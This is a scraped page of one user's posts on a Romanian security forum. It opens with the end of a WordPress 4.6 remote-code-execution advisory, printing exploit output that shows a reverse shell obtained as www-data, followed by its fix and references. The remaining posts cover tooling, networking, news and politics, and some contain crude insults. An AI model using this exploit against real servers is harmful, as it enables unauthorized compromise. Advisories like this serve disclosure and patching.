________ _______ \ ___/_ ____ '___\ /_____\ _______\_ _/_ / _/ \\ \/ / __/ // | \_____// \ /_________>> < __/ / /-\ ____ / \ _______/ <___/\___> /________/ /_______> .ddc;,,:c;. ,c: .cxxc:;:ox: .dxxxxo, ., ,kMMM0:. ., .lxxxxx: .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: .dxxxxxdl;. ., .. .;cdxxxxxx: .dxxxx ________ ____ _____ xxxxx: .':ox \ /_ ________\ \/ / xxc,. . / / \\ > < x, / / | / /\ \ \_________<_______<____> \____> .':odx.ckxl,. .,.'. | ExploitBox.io | + --=| Wordpress Core - Unauthenticated RCE Exploit | + --=| | + --=| Discovered & Coded By | + --=| Dawid Golunski | + --=| https://legalhackers.com | + --=| | + --=| "With Great Power Comes Great Responsibility" | + --=| * For testing purposes only * | [*] Sure you want to get a shell on the target 'http://wp-host/wordpress/' ? [y/N] y [*] Guess I can't argue with that... Let's get started... [+] Connected to the target [+] Payload sent successfully [+] Payload executed! [*] Waiting for the target to send us a reverse shell... Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 39232) bash: cannot set terminal process group (10408): Inappropriate ioctl for device bash: no job control in this shell www-data@xenial:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@xenial:/$ exit exit exit Exiting... VI. BUSINESS IMPACT ------------------------- Upon a successfull exploitation, a remote unauthenticated attacker would be able to execute arbitrary code on the target server and compromise the target application. VII. SYSTEMS AFFECTED ------------------------- The Remote Code Execution PoC exploit described in this advisory is based on version 4.6 although other versions of WordPress (prior to 4.7.1 which fixed the PHPMailer vulnerability) might also be affected. The advisory presents the exploitation on the example of Exim MTA, the author has also developed another exploit that can also be used on other MTA software. The exploit will be shared shortly after this advisory. VIII. SOLUTION ------------------------- Update to the latest version of WordPress. IX. REFERENCES ------------------------- https://legalhackers.com https://ExploitBox.io Vulnerable WordPress version used for testing/exploitation: https://github.com/WordPress/WordPress/archive/4.6.zip Exploit code: WordPress Core 4.6 - Unauth Remote Code Execution PoC Exploit Video PoC: https://www.youtube.com/watch?v=ZFt_S5pQPX0 WordPress security team announcement: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/ Vendor site: https://wordpress.org Related advisories: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html X. CREDITS ------------------------- The vulnerabilities and exim mail() injection vector presented in this advisory were discovered by : Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com https://ExploitBox.io XI. REVISION HISTORY ------------------------- 03.05.2017 - Advisory released, rev. 1 XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
-
- 3
-
-
Chat indisponibil incepand cu data de 1 mai 2017
Nytro replied to MrGrj's topic in Anunturi importante
O sa il integram cu IP Board. -
Chat indisponibil incepand cu data de 1 mai 2017
Nytro replied to MrGrj's topic in Anunturi importante
@Zatarra @Gecko @ CEILALTI Ce platforma noua sugerati? Nu este o cerinta sa fie gratuita, dar ma intereseaza sa fie "safe" si "fully featured and integrated". Posibile solutii: 1. https://www.arrowchat.com/ 2. https://justblab.com/ 3. https://rocket.chat/ 4. https://chatwee.com/ 5. https://discordapp.com/ 6. https://www.cometchat.com/ipb-chat -
ShellcodeCompiler primeste ca parametru un script (limbaj asemanator cu C/C++) si genereaza cod ASM. Acel cod ASM e asamblat cu NASM si rezulta shellcode-ul. PS: Acel ASM generat e creat special sa functioneze ca un shellcode (gaseste dinamic functiile pe care le apeleaza, parametrii sunt pusi pe stack, inclusiv sirurile de caractere).
-
Inflater - "This class provides support for general purpose decompression using the popular ZLIB compression library" https://docs.python.org/2/library/zlib.html
-
int main() { if (ChuckNorris()) printf("Muie "); else printf("Dragnea"); return 0; } Era banal...
-
Am facut update la ultima versiune de IPB: https://invisionpower.com/release-notes/ Am facut diverse alte update-uri la server. Postati aici daca sunt probleme.
-
L-a incercat cineva?
-
Cateva ore bune. Nu e tocmai rescris, e aranjat si grupat pe clase mai exact, ca era un singur fisier cu mult cod.
-
Am rescris codul, era un singur fisier mare, acum arata mai normal. Sper ca in curand sa ii pot face update-ul pe care vreau sa il fac. https://github.com/NytroRST/ShellcodeCompiler
-
Salut. OVH, Debian, Apache, PHP 7, MSQL, nu are nimic special. Bine, doar pe parte de security e hardcore, l-am configurat cu ./nytro.sh --force
-
Aveam un plugin care ajuta, dar a provocat probleme. O sa il incerc din nou cand o sa am timp.
-
Da, am avut o discutie si cu un coleg si m-am uitat peste RFC-ul care defineste protocolul IP si nu se foloseste terminologia de port. Insa, teoretic vorbind, e tot un port (al protocolului IP). Noi suntem obisnuiti cu definitia clasica de port: un numar pe 16 biti bla bla. Insa in esente, porturile se folosesc pentru multiplexarea fluxului de date. Mai exact, anumite date ajung pe portul 80, altele ajung pe portul 25 etc (multiplexare). In cazul de fata, aceasta multiplexare nu se refera la un port care e folosit de un anumit program (ca TCP 80 de catre Apache), ci este un port care indica, cum spune standardul "next higher level protocol". Altfel spus, acest IP protocol/port nu face diferentierea intre programele la care trebuie sa ajunga date ci face diferentierea intre "<<programele>> pentru procesarea protocolului", cum ar fi TCP/UDP/ICMP. In acest gaz "programele" reprezinta bucatile de cod care se ocupa de procesarea protocoalelor urmatoare. Plm, nu stiu daca am explicat cum trebuie.
-
Alta intrebare: ce port foloseste TCP si ce port foloseste UDP? Nu ma refer la porturi TCP/UDP.
-
Am vazut pe Twitter, nu stiam raspunsul. E o intrebare de networking. Ce port foloseste ping-ul?
-
ANAF va primi datele de identificare ale proprietarilor de site-uri din România Institutul Naţional de Cercetare – Dezvoltare în Informatică (ICI) din Bucureşti, instituţie aflată în subordinea Ministerului Comunicaţiilor, a încheiat un acord cu Agenţia Naţională de Administrare Fiscală (ANAF) pentru a furniza datele de identificare ale deţinătorilor domeniilor cu extensia .ro, transmite News.ro. Foto: Agerpres În cadrul acestui acord, Fiscul va realiza o aplicaţie de interogare, în scopul obţinerii de informaţii despre proprietarul unui domeniu. „Menţionăm că Direcţia Generală Tehnologia Informaţiei din cadrul ANAF va asigura aplicatia informatică de interogare domeniu/vizualizare raspuns, în scopul obţinerii de informaţii despre proprietarul/proprietarii unui domeniu sau a unei liste de domenii de internet din România”, se arată în comunicat. Compartimentul de specialitate, RoTLD, din cadrul ICI Bucureşti, care administrează domeniile cu extensia .ro, va dezvolta un serviciu web prin care va transmite informaţiile către Fisc. Protocolul semnat are rol, în accepţiunea autorităţilor, în prevenirea si combaterea evaziunii şi fraudei fiscale. În Parlament, senatorii au respins recent un proiect care prevedea ca datele de contact ale persoanelor fizice ce deţin domenii web să fie prezentate public fără consimţământul acestora. Proiectul a fost respins după ce Guvernul a arătat că o astfel de măsură încalcă normele Uniunii Europene. Sursa: http://www.digi24.ro/stiri/economie/companii/anaf-va-primi-datele-de-identificare-ale-proprietarilor-de-site-uri-din-romania-669831
-
Acunetix Release Web Site Security Pen Testing Tools Free POSTED ON JANUARY 10, 2017 BY TAMARA NAUDI HTTP editor, fuzzer and sniffer tools help pen testers identify vulnerabilities London, UK – January 2016 – Hot on the release of Acunetix Version 11, pioneering web application security software Acunetix, now delivering Manual Pen Testing Tools at no cost. Penetration testers can make use of an HTTP Editor to modify or craft HTTP requests and analyze responses; intercept and modify HTTP traffic on the fly using the integrated HTTP Sniffer; fuzz test HTTP requests using the HTTP Fuzzer and test Blind SQL Injection vulnerabilities further using the Blind SQL Injector, among others. “Acunetix has for the past decade been an excellent resource in the pentester’s tool kit. Prior to Acunetix v11, these Manual Pen Testing Tools were only available to Acunetix Customers. By releasing our manual tools separately, we aim to facilitate veteran testers as well as up and coming security researchers by making it easy to manually test web applications for logical flaws among others,” added Nicholas Sciberras, CTO, Acunetix. HTTP Editor: Allows you to create, analyze and edit client HTTP requests; as well as inspect server responses. It also includes an encoding and decoding tool to encode/decode text and URL’s to MD5 hashes, UTF-7 and other formats. HTTP Sniffer: A proxy that allows you to analyze HTTP requests and responses, and edit these while they are in transit. The HTTP sniffer can also be used to manually crawl a site, and use the manual crawl to seed an Acunetix scan. HTTP Fuzzer: A tool which allows you to automatically send a large number of HTTP requests including invalid, unexpected and random data to a website, to test input validation and handling of invalid data by the web application. Blind SQL Injector: An automated database data exfiltration tool. By using Blind SQL injection vulnerabilities discovered when scanning a website, it is possible to demonstrate the serious impact a Blind SQL injection vulnerability can have on the website. Used to enumerate databases, tables, fields and dump data from the vulnerable web application. Subdomain Scanner: Scans a top-level domain to discover subdomains configured in its hierarchy, by using the target domain’s DNS server, or any other DNS server specified by the user. While scanning, this tool will also automatically identify and inform the user if the domain being scanned is using some kind of wildcard characters, such as *.domain.com. Target Finder: An IP range / port scanner which can be used to discover running web servers on a given IP or within a specified range of IPs. The list of ports on which the web servers are listening can also be configured. The default ports the scanner will scan are port 80 for HTTP and port 443 for SSL. Authentication Tester: Used to test the strength of both usernames and passwords within HTTP and web forms authentication environments via a dictionary attack. Download the FREE Manual Pen Testing Tools About Acunetix User-friendly and competitively priced, Acunetix leads the market in automatic web security testing technology that comprehensively scans and audits complex, authenticated, HTML5 and JavaScript-heavy websites among others. Acunetix detects over 3000 types of web application vulnerabilities and is the industry leader in detecting the largest variety of SQL injection and XSS vulnerabilities, including Out-of-band SQL injection and DOM-based XSS. Acunetix beats competing products in many areas; including speed, limiting false positives and the ability to access restricted areas with ease. Acunetix also has the most advanced detection of WordPress vulnerabilities and a wide range of management and regulatory reports including ISO 27001 and PCI compliance. Acunetix also includes integrated vulnerability management features to extend the enterprise’s ability to comprehensively manage, prioritise and control vulnerability threats. Acunetix is available on premises or as an online solution. Acunetix, the company Founded in 2004 to combat the alarming rise in web application attacks, Acunetix is the market leader, and a pioneer in automated web application security technology. Acunetix products and technologies are depended on globally by individual pen-testers and consultants all the way to large organizations. It is the tool of choice for many customers in the Government, Military, Educational, Telecommunications, Banking, Finance, and E-Commerce sectors, including many Fortune 500 companies, such as the Pentagon, Nike, Disney, Adobe and many more. Sursa: https://www.acunetix.com/blog/news/acunetix-release-web-site-security-pen-testing-tools-free/
-
- 4
-
-
Sunt de acord, ma astept la multe, dar deocamdata vreau sa fie anulata acea OUG. De asemenea mai vreau transparenta. Vreau sa stim si noi ce se intampla in tara, nu sa se dea OUG-uri noaptea, fara ca macar sa fie pe ordinea de zi. Poporul a ales acest Guvern pentru anumite promisiuni si acesta e Guvernul nostru. Sper sa inteleaga ca suntem cu ochii pe ei.
-
Nu avea cum sa nu desemneze premier de la PSD (sau ALDE) si nici cum sa evite PSD la guvernare. Cat despre "razboiul" de care vorbeste mancatorul de cacat, nu este cazul, nu Presedintele a adus oamenii in strada. Deci Muie Tariceanu. Edit: Legat de discutia cu Dragnea, e adevarat ce a spus el, Ordonanta "nu il scapa de proces". Procesul va continua insa el nu va fi gasit vinovat. Si uite asa a fraierit (nu mintit) milioane de oameni. E o tehnica de manipulare simpla: spui adevarul intr-o forma care lasa sa se inteleaga un anumit lucru insa de fapt e vorba de altceva. Info: Instigare la abuz in serviciu se incadreaza la abuz in serviciu. Prejudiciul este de vreo 120.000 RON ceea ce e mai putin de 200.000 RON. Iar procesul este in desfasurare, nu va fi o decizie retroactiva. Adica mustaciosul scapa de acest dosar.